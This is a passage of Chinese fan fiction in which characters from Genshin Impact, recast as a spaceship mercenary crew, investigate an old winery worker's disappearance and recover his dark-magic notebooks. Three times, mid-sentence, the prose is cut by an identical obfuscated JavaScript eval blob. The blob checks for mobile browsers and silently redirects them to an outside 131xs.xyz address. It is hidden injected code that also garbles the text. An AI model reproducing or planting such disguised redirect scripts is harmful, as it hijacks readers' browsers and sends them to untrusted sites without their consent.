法尔伽道:“至少我们知道了重要的线索,一年半前一定突然发生了什么事,导致盖伊需要很多钱。但是他并没有向自己的父亲透露分毫,而是将房子卖了。” “特纳直到离开晨曦酒庄,都完全不知道这回事。”温迪托腮,“这么看来,不会是这一年多的时间里,盖伊把钱花完了,又来打他父亲的主意吧?” 凯亚的神色突然变得很难看,说了一声:“走。” 温迪眨了下眼睛,问:“去哪儿?” 凯亚道:“去特纳之前住的地方,调查下他离开前的情况。” 温迪点了点头,“是得去。不过我们是不是得先问下埃泽先生,不然我们不知道——” “我知道。”凯亚面无表情地说,“我是在晨曦酒庄长大的,早就认识老特纳。” 温迪长长地“哦——”了一声。 法尔伽看了温迪一眼,心想,他自己知道也就罢了,这位吟游诗人倒是一点也不惊讶呢。 4. 第4章 三人乘坐小型飞行器,来到了特纳之前的住处。 在离职前,特纳几十年如一日地独居在离晨曦酒庄不太远的小镇上,租的是个很小的套间。 “特纳先生是个很好的房客,”房东如是说着,“从来没有惹过任何麻烦,他是一位真正的绅士。” “可以问下他退租时的情况吗?”法尔伽问。 “唔。”上了年纪的房东努力回忆,慢慢说道:“特纳先生来问的时候有点着急,他说自己很快会搬走,为了弥补他临时的决定给我造成的损失,他表示租房的押金不用退给他,让我再慢慢另寻租客。” “我当然不会做这种事,连着今年剩余的租金一并退给了特纳先生。”房东继续说着,“很快,我记得不到一周吧,他就打包好了行李,来和我告别了。” “他走的时候,有人来接他吗?”凯亚提了关键的问题。 “特纳先生让我去屋内检查,一开始我是拒绝的,我说绝对信任他不会搞破坏——但特纳先生非常坚持,最终我还是去了。” “和我想的一样,屋里干净整洁,特纳先生住得非常爱惜。也是在这个时候,我看到了他收好的行李。” “把钥匙还给我之后,特纳先生提着箱子就要走。我和他做了多年的邻居,还是很舍不得他的,便送他到了楼下。” “当时他儿子来了吗?”法尔伽立刻问道。 “儿子?”房东皱紧了眉头,思索片刻后说道:“不,他那天走的时候,是一个人上的车,我见到司机下来帮他搬行李,车里没有其他人。” 法尔伽说:“会不会你看到的那位司机,其实就是特纳先生的儿子呢?” 房东摇了摇头,笃定说道:“不是。” 还没等人发问,房东就解释道:“特纳先生在这里住了多年,即便是个单身汉,充满记忆的东西也不少。他上了年纪,走的时候只有一个中号旅行箱和包裹,剩下的其他箱子,是他儿子第二天来取走的——门是我为他开的,所以我知道特纳先生的儿子长什么样,和那位身材矮小的司机完全不一样。” 这突如其来的收获让几人精神为之一振,凯亚立刻发问道:“特纳先生的儿子是什么模样?” 房东好脾气地配合着,努力思考,“特纳先生的儿子……是个很高大的年轻人,他长得很结实,皮肤是幽深小麦色,有着一双黑色的眼眸,头发是偏红的褐色……他沉默着将屋里的东西都取走了。” “他说了他是特纳先生的儿子吗?”凯亚听完,沉默了几秒,如此问到。 “对啊,不然我怎么会给他开门拿东西……”房东略一思索,突然感到后怕,“难道这家伙不是……呃——” “先不要紧张。”法尔伽适时出声安慰道,“您提供的信息很有用。” 房东一副生怕自己做错了事的表情,无所适从地站着。 “我替特纳先生感谢您的配合。”凯亚低声道。 法尔伽拍了拍房东的肩膀,用微笑示意他放松,“我们想搜索一下这个房间,可以吗?” 房东连忙道:“当然可以,这间公寓还没租出去,特纳先生离开时是什么样,现在还是原封不动的。” 得到了许可,法尔伽和凯亚立刻颔首致谢,一人在客厅,一人进了卧室,非常干练地开始了搜寻工作。 温迪则是漫无目的地东看看西摸摸,眉头始终微微皱着。 过了没多久,屋内传出了凯亚的声音,“这里有个暗格。” 几个人闻言,立刻向里面走了过去。 款式简单的老式木质床头柜被移到一边,露出了地板上一个明显的凹槽。 房东惊讶道:“这是怎么回事?” 法尔伽看了一眼,说:“不管里面曾经放过什么,取走的时间都不会太久——这里面还没什么灰尘。” “按这个空间来看,不会是体积太巨大的物品……?信?书?账单?”凯亚边想边罗列,“只是不知道这件事和特纳的失踪有什么关系。” 法尔伽又看向房东,“特纳先生的物品都已经全部带走了?” 房东四下看了看,茫然道:“这屋子已经空了,特纳先生也没有在我这里寄存任何东西啊。” “行吧。”法尔伽随口说着,突然间,他注意到温迪的神情有些奇怪,便开口问:“怎么了,你有新的发现?” 温迪似乎沉浸在某种思绪中,被突然叫了回来,他缓慢地眨了下眼睛,说:“没什么……就是觉得有点不协调,但是具体的,我也说不上来……” 法尔伽给了他一个安慰的神情,猜测他可能是累了。 又仔细搜索了几遍,确认没有其他地方的暗格,几人便告别了房东,离开了公寓。 “搬东西的人有问题?”走出公寓楼的大门,法尔伽目不斜视地出声问道。 “嗯。”凯亚知道法尔伽在问自己,“我从小就认识盖伊,除非他做了整容手术,不然他不可能是房东描述的那个样子。” “整容手术不管是在哪个国度都还蛮流行的哦。”一旁的温迪微笑着补充道。 法尔伽道:“先姑且认为这人不是盖伊,那么特纳有可能根本没能和自己的儿子见上面,而是被什么第三方做局了。” “可警察联系上盖伊的时候,对方可是表示一切正常的。”温迪慢悠悠地说。 “两个可能。”凯亚思索后道:“第一,盖伊也是设计他父亲的其中一员;第二,警察联系的那个根本不是盖伊。” 无论是哪种情况,都称不上是什么好事。 “或者我们也可以从别的方向再想一想。”法尔伽边走边说,“比如,动机是什么?” “普通的绑架,不是为了钱,就是为了报仇。特纳在晨曦酒庄工作多年,生活和工作轨迹都很简单,不像是能惹上大麻烦的人。如果是为了钱,那倒可以说得通了,迪卢克正慷慨地给了他一笔退休费。” 温迪对法尔伽的发言频频点头,说:“联系到盖伊在一年半前突然需要卖房子——” 应该是很容易下结论的。 但三个人都沉默了。 等回到飞船时,琴和阿贝多已经到了。 法尔伽挥了下手,“一切顺利?” 琴点下了头,单刀直入地说:“我们填了书面申请,又得到一些信息。这个盖伊·法末克是一个B级佣兵团的成员,注册成为佣兵已经两年。” 凯亚皱着眉头发问:“能联系上他那个佣兵团么?” 阿贝多说:“协会帮我们联系了,对方表示这个盖伊已经不出任务很久,现在不在他们团里。我知道你想问什么,对方说得很含糊,是想避而不答,但我们在协会保险部门的检索中查到了,一年半之前,盖伊在任务中受伤,报了工伤。” 凯亚表情更凝重了一点,“能看得到是伤情是几级么?” 阿贝多道:“申报的材料显示,盖伊的右眼和右手三根手指、右腿都有不同程度的伤情,综合评定是8级伤残。” 法尔伽轻声道:“难怪那个时候他会卖房子。” “卖房子?”琴捕捉到了这个信息,道:“保险已经支付他全部的医疗费,你说他要卖房子,难道还有其他的大额开销?” “这个暂时问不到了。”阿贝多说:“佣兵注册信息上的联系电话打不通,协会是这么回复我们的。” “行吧,暂时先这样。”法尔伽说:“大家也跑了一上午了,先歇会,有事我再通知大家。” 几个人原地解散,各自走了。 法尔伽走了几步,才发现温迪默不作声地跟在自己身后。 见他回头,温迪笑了一笑,“吃饭?” “饿了?”法尔伽也笑了一下,“也行吧。” 他本来并没有特别的打算,工作日的午餐他一般吃得都很随意,甚至来杯黑咖啡对付下都行。但既然同行之人有了意愿表达,法尔伽一般都是愿意满足他人的。 “食堂的奶酪饼很不错。”法尔伽道,“当然,如果你想出去吃,我也可以给你推荐点当地美食。” “不给我推荐点当地美酒?”温迪凑上来。 “咳。”法尔伽见四下无人,才说:“可以倒是可以……” “说起来,咱们佣兵团的报酬情况怎么样?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966404|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温迪略显忧伤地问道,“盖伊都需要卖房子,看来佣兵也不怎么能挣得上钱嘛。” “开什么玩笑,”法尔伽看了他一眼,“只要你好好干,做一个靠谱的佣兵,装满游泳池的美酒都能挣得到。” “哦?”温迪笑容更灿烂了一些,“那么,大团长你应该算靠谱佣兵吧?” 法尔伽好笑反问:“你觉得呢?” 温迪道:“请我喝酒你就是。” 法尔伽被他这简单粗暴的评判标准惊到了,他无奈道:“看来你真的很想喝酒。” 温迪立刻“嗯嗯”点头。 “这次事情解决,我请你喝。”法尔伽拍了拍温迪的肩膀,“答应你了。” “好耶!”温迪说完,立刻抓住了法尔伽的胳膊,急匆匆向前走去。 法尔伽:“???” 温迪:“快点吃,吃完我们继续查,时间已经不多了。” 法尔伽:…… 话虽然这么说,温迪吃饭的时候倒并没有出现狼吞虎咽的情景。 他吃饭很斯文,吃的也不多,一会就饱了,甚至还很有闲心地观察着法尔伽。 “我脸上有东西?”法尔伽忍不住道。 “没有。”温迪眯起眼睛,摇了摇头,“我只是在想特纳先生的事。” “有什么新的想法?”法尔伽见温迪似乎对自己面前的一块小蛋糕感兴趣,便往他面前推了推。 “嗯……”温迪状似随意地绕着自己的辫子发梢,说:“我在想,如果真的是为了钱,盖伊有什么必要一定要把自己的父亲接走,他连房子都没有,这是很容易露馅的。” 法尔伽顺着他的思路往下想,喃喃自语道:“因为钱都在特纳的身上?或者说,通过正常的途径要不到,所以他必须物理控制特纳,才能拿到钱?” “钱是一个很重要线索……对了,迪卢克给过特纳一笔退休金,我们倒是可以考虑从钱入手。” 温迪捧着脸,用勺子挖了一勺蛋糕,塞进嘴里,含糊不清地说:“一般来说,只要不是逃难,谁也不会把大额现金放在身上,何况还是投奔自己儿子,就是冲着稳定的生活去的。” “我也倾向于这个钱还没有取出来,”法尔伽跟着说,“我们需要查下这笔钱的去向。” 温迪遗憾地说道:“佣兵毕竟不是警察啊。” 法尔伽斜睨了他一眼,那眼神明显话里有话。 温迪:“?” 法尔伽轻笑一声,没再说什么,站了起来,做了个“我马上回来”的手势。 温迪不明所以,但是听话地没动,转而去和桌上的小蛋糕奋战去了。 过了大约十五分钟,法尔伽回到了餐桌旁。 温迪用询问的目光看向他。 法尔伽也没有卖关子,直接说:“查过了,钱还在账户里没动。” 温迪神色变换,略有些揶揄道:“哇,不愧是大团长,就是靠谱。” 法尔伽没接他的话,看着温迪道:“如果是冲着钱去的,为什么盖伊没有第一时间把父亲账户里的钱取出来?” 温迪愣了一下,托着腮思考,“因为胸有成竹,觉得这笔钱反正肯定是自己的了?” 法尔伽又道:“另外,查银行这条线的时候,还有意外收获。” 在温迪催促的神情中,法尔伽说:“特纳往银行存了一个包裹,时间是在他退租前的5天前。据银行保险库的登记来看,是几本日记,或者说是笔记。” “为什么他不把这些东西随身带走?”温迪整理思绪,自问自答道:“因为这些东西不适合带到他儿子的身边,但是又很重要,他藏了很多年,不能扔掉。” “有没有可能,那个来假扮他儿子拿行李的人,就是想找这些笔记?” “笔记里——藏有秘密。” 法尔伽:“但这一切都还只是你的推理,没有证据的支撑。” 闻言,温迪耸了耸肩,语气有点无奈,“那不然,现在有谁能把笔记找出来——” 突然,他和正在微笑着的法尔伽对上了视线。 “笔记还在银行保险柜里。” 5. 第5章 关键线索有了,但问题接踵而来,即——笔记属于特纳的私有财产,他们要怎么样才能拿到? “潜进银行偷东西太难了……要么伪造一份授权?”法尔伽认真思考起来。 温迪:“……” 半晌,他才略有些调侃意味地说道:“我还以为你是永远光明和正直的堂堂西风骑士团大团长呢。” 法尔伽正色道:“手段只是手段,我相信巴巴托斯大人会理解我的。” 温迪眨巴了下眼睛,脸上的笑意更深了一些。 “你为什么不让其他人知道你的计划?” 小型飞艇上,温迪还是没忍住,问出了口。 法尔伽一副饶了我吧的神情,“琴肯定会第一个反对,然后阿贝多会审视这种行为,直接报出蒙德法律会判几年牢;凯亚这家伙不好说,但是如果他知道要去找迪卢克,一定会大叫着跑开。” “那……我就可以?”温迪笑眯眯地看着他。 法尔伽看他一眼,不自在地咳了一声,“目前来看,你不是挺支持我的工作的?” “是觉得我为了你要请的那顿酒、晨曦酒庄的报酬、还是说转为正式团员呢?”温迪看着法尔伽笑,语气是认真和开玩笑地半真半假。 “你嘛……”法尔伽的眼眸在一瞬间深沉了下去,但他马上恢复了往常的神色,轻描淡写道:“只有这三样?” 温迪微怔,随后笑着回答道:“那不然呢?大团长还有什么能给我的?” 法尔伽没再回他,注意力似乎被窗外的飞鸟吸引了。只有两个人的飞行器里也像是飞鸟划过的天空,突如其来地各自沉默了。 但温迪确实没想到法尔伽所谓能帮忙的人,指的是迪卢克。 “我和埃泽管家联系过了,迪卢克今天在蒙德酒业协会谈事。” 温迪道:“所以你就来堵他,让他给你伪造的授权文书上再加上工作单位的证明?” 法尔伽一脸诧异地问:“这样增加可信度,不行吗?” 温迪还是那副好脾气的面孔,他唱诗般道:“可以~可以~大团长想做什么都可以~” 直到法尔伽见着迪卢克本人,他脑子里甚至还在回荡温迪那几句“可以”的腔调。 “不行。”迪卢克很简单地拒绝了。 法尔伽脱口而出道:“为什么不行?!” 迪卢克冷淡地看着他,“我不清楚那是特纳的什么物品,如果涉及个人隐私,那么我想除了他本人,没有人有权利这么做。” 法尔伽道:“我们调查到现在,这已经是最重要且最容易追踪的线索了。” 迪卢克又看了他一眼,说:“那只能说明现在所谓的A级佣兵团真的水分太大了。” 剑拔弩张的气氛中,温迪突然开口了。 “迪卢克先生,有件事情我很在意。” 迪卢克一副懒得搭理任何人的表情,于是温迪便自顾自地说了下去,“特纳先生在你的庄园工作了这么长时间,就算你是个再冷漠的雇主,也会对他多多少少有所了解。那么我想请问,他没有接触过黑魔法,对吧?” 迪卢克终于转过脸来,他面朝着温迪,一直没什么表情的脸上终于出现了一丝神色异常。 从他的反应,温迪就知道自己猜对了。 “你……从哪里听说的?”迪卢克的嗓音有点艰涩。 “我是个新人佣兵,我能从哪儿听说呢。”温迪很轻松地表明身份,“实不相瞒,我是从特纳先生租的屋子里感受到的——准确地说,是他藏那些物品的地方,我感受到了黑魔法的残留。” 迪卢克脸色沉沉地望向他,“那我倒是想请教一下,你这个新人佣兵,是怎么感受到这些的。” “你是想说我也会黑魔法?”温迪笑笑,“会品酒,不代表必须得会从葡萄种起。我也算是在宇宙中游历的吟游诗人,时常要和各种非自然力量打交道,看出来这些,实在是稀疏平常之事。” 法尔伽上前一步,将温迪护在自己身后,“迪卢克,眼下最重要的事情,是调查特纳留下来的东西——” “好。”还没等法尔伽说完,迪卢克便有点发颤地同意了,“我会给你出晨曦酒庄名义的证明函,佐证你的授权书。” 法尔伽的眉毛微不可闻地挑了一下,他侧过脸和温迪对视一眼,仿佛在说,这么容易就说服了? 温迪回了他一个笑容,仿佛在肯定,那不是很好嘛。 两个人很顺利地拿到了迪卢克亲笔签名和庄园盖章的文书。 “你真的能感觉到黑魔法?”虽然对外是无条件庇护团员的大团长,对内还是要把事情都搞搞清楚的法尔伽,一边把文件小心装起来,一边状似不经意地对温迪提问。 “瞎编的呗。”温迪没忍住,直接笑出了声,“怎么,大团长也信了?” 法尔伽一脸无语,“现编的你还说得那么一本正经?” “啊……”温迪满脸无辜,“大概因为我长着一张很容易让别人相信的脸吧?” “你这张脸和相信没什么关系,和欠揍倒是基本等同,”法尔伽受不了地在他脑门一弹,“迪卢克只是看着不近人情,我们都知道他是什么样的人。事关老雇员的生死,他不会坐视不管。但是下次,如果你没和我打招呼就搞突然袭击自作主张,被人揍了就算是你自找的。” “嘿嘿。”温迪笑道:“大团长,你也就是吓唬我,有你在,还能让团员挨揍吗?” “可我似乎好像记得有人并不是我们正式的团员呐,是谁啊,好难想。” 温迪惊讶道:“大团长,我怎么觉得你和刚开始认识的时候不一样了啊。” 法尔伽微笑道:“我一直就是这样的啊——另外,别想蒙混过去,既然你提到了黑魔法,总不至于是空穴来风吧。” “行,”温迪清了清嗓子:“我交代。” “既然是走街串巷的吟游诗人,了解到一些隐秘传言,将之作为我们传唱的故事养料,也算是本职工作了。” “大约几年前吧,我遇上了一位来自至冬的材料商,那个人神神秘秘地向我兜售一些他所谓的稀奇玩意,但我嘛,大团长你知道的,兜里空空,买是不可能买的。” “但人都是有好奇心的嘛,于是,我为他唱了一首家乡的歌谣,他便同意为我展示其中部分物品的神奇之处。” “我也不是没见过世面的人,指出他那些东西魔术杂耍也能做到,他涨红了脸,和我说,只要愿意付出代价,真实之主可以实现一切愿望,只要信奉,真实之主就能展示非凡之力。” “我当他是在鬼扯,就说我是七神的信徒,而那个人则一脸不屑地和我说,七神的秩序是谎言,很快就会被戳破,让我弃暗投明。” “我没理他,转身就走了。” “真实之主?”法尔伽敏锐地捕捉到这个名词,“这个教派的信徒竟然质疑七神,也太狂妄了……所以你就联想到黑魔法了?” 温迪懒洋洋道:“这种来历不明的力量,大家不都是这么统一称呼的嘛。” “叫什么都无所谓,”联想到迪卢克的反常,法尔伽说,“你只是随口一提,说不定能歪打正着。” 温迪道:“要真是涉及黑魔法,再查下去可能就有点危险了哦。” 法尔伽道:“那正好,我还没见识过呢。再说,任务难度越大,最后才能多找迪卢克要几瓶好酒啊。” “好思路啊。”温迪表示赞同。 经过七弯八绕一个多小时,银行的工作人员终于前来告知他们,可以去领特纳留在保险柜里的东西了。 法尔伽尽量表现得若无其事,不让自己笑得太过明显。 东西很快取了出来,温迪见着了法尔伽捧在手上的一摞封面陈旧的笔记。 “怎么样?”温迪压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966405|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低了嗓音,那做派十足一个来接头的地下工作人员。 法尔伽看他一眼,抽出几本书,往温迪怀里一塞,“你可以摸一下就知道里面写了什么?” 温迪道:“当然不能。” 法尔伽哭笑不得道:“那我也是一样。” 意识到法尔伽是在和他开玩笑,温迪笑容更深了一点,抑扬顿挫地“哦~”了一声。 毕竟是伪造的授权,表面上再怎么淡定的法尔伽,拿到东西后都默默加快了离开银行的速度。一边的温迪也是一路小跑,很快两人就钻进了小型飞行器里,开回了西风骑士团的飞艇停靠处。 法尔伽径直回到了自己的团长办公室。 温迪在他对面坐下,边捶着腿边说:“大团长,你们是不是压榨新人啊,你能不能保证,今天我们不用再出去跑了?” 法尔伽把一摞笔记在办公桌上排好,随口道:“体力太差,可是当不了佣兵的。” 温迪立刻坐直了,不满辩解道:“我是吟游诗人,不是佣兵。” 法尔伽望向他,眼里含笑道:“那么请问这位吟游诗人,今天在佣兵团的任务里,发挥了什么重要作用呢?” 温迪“嘿嘿”一笑,骄傲地起身,像是要去领奖似的走到法尔伽的身边,“见多识广的吟游诗人可以来帮你看这些笔记啊。” 闻言,法尔伽略感好笑地往旁边退了一步,“我刚刚翻了下,确实是得请教这位吟游诗人。” 温迪轻笑一声,上手翻了离自己最近的一本。 只是瞄了一眼,温迪的表情就僵了一瞬。 他表情严肃了许多,开始认真翻阅那本笔记。 待一本看完,他不等法尔伽说什么,就继续挑了几本其他的,但等他粗略看完,脸上的神色还是未放松分毫。 “怎么样?”这次是法尔伽开口问他了。 温迪转过身时,脸上的表情已恢复平静。 “不是通用语。”温迪挠着头,似乎想做出点不好意思的表情来,“不过……嗯,我确实好像……以前在某个遗迹看过类似的图文……好吧也记不清了……” 温迪嘟嘟囔囔地说着,最后吐了下舌头。 “所以,”法尔伽直接帮他总结道:“看来是见多识广的吟游诗人也解决不了的问题?” 温迪又装模作样地将笔记翻了几页,思考了一会,才正式说道:“现在看不明白,不代表以后看不明白。” 他又建议道:“要不去找古文字方面的专家?或许人家能告诉我们这是什么语言——” “不用。”法尔伽淡淡道。 “我可没说我看不懂啊。” 温迪怔在了原地。 旋即他道:“你……你看得懂?那这里面写了什么?” 法尔伽意味深长地看了温迪一眼,说:“这不是古代语言,而是某种宗教专用语,用来进行宗教仪式的。” 温迪眉头一皱,“老特纳怎么会有这种东西,难道他表面上是个农夫,实际是这个宗教的隐秘成员?” 法尔伽眉毛轻微动了动,“不是他的。” 顿了顿,他补充道:“能麻烦你叫凯亚来吗?” “大团长是不是就喜欢在下班以后找人工作啊?”再次进入法尔伽的办公室前,温迪偷偷摸摸地向凯亚发问。 凯亚摊了摊手,顺手推开了门,“发现得早,你现在跑还来得及。” “谁要跑?”法尔伽从办公桌前抬起头来,问了一句。 “没人没人。”温迪立刻答道,跟着凯亚进了办公室,并马上转身关上了门。 凯亚径直走向法尔伽,“找我?” “嗯。”法尔伽把笔记本让凯亚的方向一推,开口道:“你看这个。” 凯亚不经意地往那个方向一瞥,马上就愣住了。 “我的老天。”凯亚揉着眉心,“这东西怎么会在这里?” 6. 第6章 温迪看了眼法尔伽,对方的眼神写着“果然如此”。 “既然你认识,事情就好办了。”法尔伽这么说着,将视线投向温迪,后者完全没有要退出去的意思,而是一副竖直了耳朵准备大听特听的模样。 “大团长。”凯亚表情凝重,“身为佣兵团的一员,我知道和生死与共的战友不应有所隐瞒,但此事确实关乎我的身世,希望你能保密。” 随后,他发现身后还站着个人,便用目光向法尔伽询问。 法尔伽点了下头,意思是他信任温迪。 凯亚明白了他的意思,便开始叙述:“我呢,是被晨曦酒庄的原主人,迪卢克的父亲,克利普斯?莱艮芬徳收养的义子。” “被收养的时候,我年纪还很小,只模糊记得和家人一直在各处奔波。现在想来,大概是在逃难吧。后来,在我八岁那年,我们一家乘坐的飞行器出了事故,除了我以外,所有人都去世了。” 凯亚很是平静地叙述,似乎过了这么多年,他已经将这段经历咀嚼得不再痛苦,“然后,晨曦酒庄的主人就收养了我。” “为什么?”法尔伽敏锐发问,“晨曦酒庄的主人和你家是旧识?” “不。”凯亚淡淡地说,“纯属巧合,当时飞行器坠落在晨曦酒庄的大片葡萄园里,还造成了不小的损失,好在他们没找我这个小孩赔钱。” 凯亚自嘲地笑了一声。 “这些笔记,就是从飞行器残骸的保险箱里找到的,我父亲的遗物。”凯亚平静地说,“莱艮芬徳先生说替我保存,等成年之后交给我。” 法尔伽看着凯亚道:“我记得莱艮芬徳先生是在前些年……” “没错,在我满十八岁之前的三个月。”凯亚的声音略有些沉重,“他去世之后,我也很快离开了晨曦酒庄,你知道的,后来我就加入了佣兵团。” “所以你没有拿到这些笔记。”法尔伽用手敲着其中一本泛黄的封皮,闲话一般道:“为什么要离开?迪卢克不是那种小心眼排挤你的人吧?” “因为……”凯亚说着,声音里不自觉带上了一丝苦涩,“因为他认为父亲的死,是受到了我父亲的影响。” 这话有点绕,但是法尔伽第一时间听懂了。 “那时候,我觉得他的指责,或者说产生这个念头,完完全全是他的臆造——即便他反复强调,他认为一切都和我无关,我已经是莱艮芬徳家的人,他是因为信任我,才把这些事摊开来和我说。” “怎么说呢,即便是稍长我一些的迪卢克,那时候也太年轻了,我们可以说是不欢而散。现在想来,那时候满腔的不甘和痛苦,也许只是我不知道怎么面对他吧。” 说到这里,凯亚从喉咙里挤出一声嘲弄的笑声,而那嘲笑的对象,正是他本人。 法尔伽沉默了一会儿,他先前就知道凯亚和迪卢克的义兄弟关系,但并不清楚背后还有这样的纠结往事,人们都说清官难断家务事,在此事上,他给不出什么好的建议,一切都只能靠当事人自己摸索。 “会好的。”他最后只是含糊这么说着,这句安慰甚至不知道说的是凯亚和迪卢克的关系,还是别的什么。 “嗯。”凯亚随口应了。随着秘密的倾诉,他的神色也恢复不少。他原地踱了两步,看见仍站在不远处的温迪始终一声不吭,突然道:“你居然一句评价都没有。” 温迪眨巴了下他纯良的大眼睛,说:“没想到少爷和老爷之间还有这么曲折的故事,多说点,我下次掐头去尾给你们匿名编成传遍银河系的诗歌怎么样?” 凯亚“噗嗤”一声笑了,想了几秒,他竟然同意了,“到时候烦恼的是他吧,毕竟佣兵满地都是,盛名在外的酒庄主人,即便不指名道姓,也不难猜到是谁吧。” 温迪跟着他笑了,还想说什么,却被法尔伽的声音打断了,“好了,我们继续正题。那些笔记是怎么回事?” “这些东西在我八岁那年就被收起来了,我没有翻过,但东西是见过的。”凯亚这么说着,想起什么似的,靠近办公桌,随手拿了一本,开始翻阅。 翻了没两下,他就放弃了。 “这写的什么东西。”他毫不掩饰地撇嘴嫌弃。 “你父亲留下的东西,你也看不懂?”法尔伽问。 凯亚叹了一口气道:“迪卢克也问过我,我父亲留下的那些东西是不是涉及不为人知的,邪恶的力量。但我是真的不知道,那些文字我无法解读。” “他是我活着的家人,我不会欺骗他。”凯亚幽幽地开了口,说这句话的时候眼神却飘向了远处,像是说给一个一直没能坦率面对的人。 “抛开这里面的内容不谈,笔记的去向也是个问题。”法尔伽陪着凯亚安静了一会儿,还是主动打破了沉默,“老莱艮芬徳先生既然说了要给成年后的你,又怎么会出现在特纳那里?而且,看起来,特纳也很清楚,这些笔记不一般,需要特别收藏。” “父亲——我指的莱艮芬徳先生——去世后,我没有要过这些东西,”凯亚浮现出回忆的神色,“事实上,我已经忘记了它们的存在,直到那次迪卢克和我吵了一架。好吧,虽然言辞不激烈,但对那家伙来说已经算是吵架了——” 凯亚深深吐了一口气。 “有没有可能,是特纳偷拿的?”法尔伽问。 凯亚两手环抱在胸前,半晌,很笃定地开口道:“不会,特纳绝不是未经允许会偷主人家东西的人。” “那会不会是你父亲给他的?”法尔伽立刻转换思路,“特纳……跟着他很久了吧。” 凯亚想了一下,说:“是的,连埃泽管家都是特纳后面很久才来的。” “因为迪卢克想要毁掉这些手稿?” 突然,待在办公室靠落地窗一侧,几乎快要隐匿身形的温迪开了口。 凯亚点了点头,“迪卢克认为,因为父亲在研究这些笔记,并且有了初步的成果,才会招致死亡。” “冒昧问一句,你父亲的死因是?”法尔伽发问。 “他是在睡梦中去世的,医生说死于心脏麻痹。”凯亚道,“那段时间我在外读书,知道的不多,后来听管家说,在此之前,父亲的身体已经变差,精神也萎靡不振。” “原来如此。”法尔伽道:“有种我们已经抓住线头的感觉。” 凯亚眼眸深邃地又看了办公桌上散乱的笔记一眼,没有说话。 “明天,我们还是兵分两路。”法尔伽轻轻敲了下桌面,“一路去找迪卢克了解情况,凯亚,这涉及到你们家族的往事,若是不方便有其他人在场,你一个人前去密谈。另外的人,就跟着我去医院寻找盖伊的线索。” 凯亚点了点头,说了声好。 等凯亚离开办公室,法尔伽见着仍在落地窗前思考什么,一动未动的温迪,本想出声提醒,让对方回去休息,但几个呼吸之后,法尔伽却鬼使神差地站了起来,向落地窗走去。 西风骑士团的大型飞艇西风号停靠在蒙德最大的飞艇基地,这里四周空旷,远处群山隐现。高远的夜幕中,星光璀璨,和地面上星星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966406|177742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点的人造光芒遥相呼应。 “在想什么?”夜色沉沉中,法尔伽突然开了口。 温迪原本目光散漫地看着落地窗上自己模糊的倒影,闻言往后瞄了眼,见法尔伽走了过来,他马上调整了情绪,笑道:“从这里往外看,景色很不错。” 法尔伽顺着他站的方向,随意看了一眼。基地里灯火通明,但是从办公室往外远眺,目光所及只是一片夜色,也不知道不错在哪里。 但法尔伽没纠结这个问题,直接指出,“你似乎情绪不太好。” “大团长还关心属下的心理健康,”温迪做出感动的样子,“我来到了一个正确的组织。” 法尔伽笑了一下,“这倒是没说错。” 温迪见他还能笑得出来,撇了下嘴,说:“你为什么没告诉凯亚你能看得懂笔记的内容,还是说其实你是框我的?” 法尔伽向后一摊手,“没骗你。不告诉凯亚,是想让他暂时保持现状,你知道的,涉及最亲近的家人,很多人的判断力都会失准,现阶段还是别让他太担心了。” 说到“家人”两个字的时候,温迪抬头,目光又向远处窗外飘去。 那副怀念的模样,让法尔伽的心没来由地变柔软了。 “内容不能告诉凯亚,那能不能告诉我?”温迪突然转过脸来,笑眯眯地看着法尔伽。 法尔伽在背后偷摸盯着他看的视线一下子就和对方撞了个正着。 他呆滞了几秒,突然反应过来温迪还在等自己回复,赶紧装腔作势道:“可、可以啊。” “那我可要洗耳恭听了。”温迪轻笑一声。 法尔伽看着他柔和的面部轮廓,在屋内灯光的照射下有了一点氤氲模糊的奇怪气氛,他努力忍住自己上手捏一下那个脸蛋的冲动,朗声道:“……迪卢克说得没错,这东西确实有问题,记录的是禁忌的黑魔法咒文和仪式。” “嗯。”温迪轻声说,像是梦呓一般,“确实令人感到不太舒服。” 法尔伽眸色深沉地看了他一眼,末了,他说:“你应该是累了,还是早点休息吧。” 温迪点了下头,刚抬脚走了两步,突然又想到了什么,指着办公桌上的手稿说,“既然是不好的东西,会不会对其他人有影响?” “我会把它收起来,让别人接触不到的。”顿了顿,法尔伽微笑着补充:“你提醒得很对。” 温迪觉得他这话有点奇怪,但是细想好像又没什么,便推门出去了。 直到温迪的脚步声彻底消失在走廊上,法尔伽都还对着他离开的方向思考着什么。 “分组?”凯亚奇怪道:“你睡一觉失忆了,忘记昨天大团长是怎么分派的任务吗?” 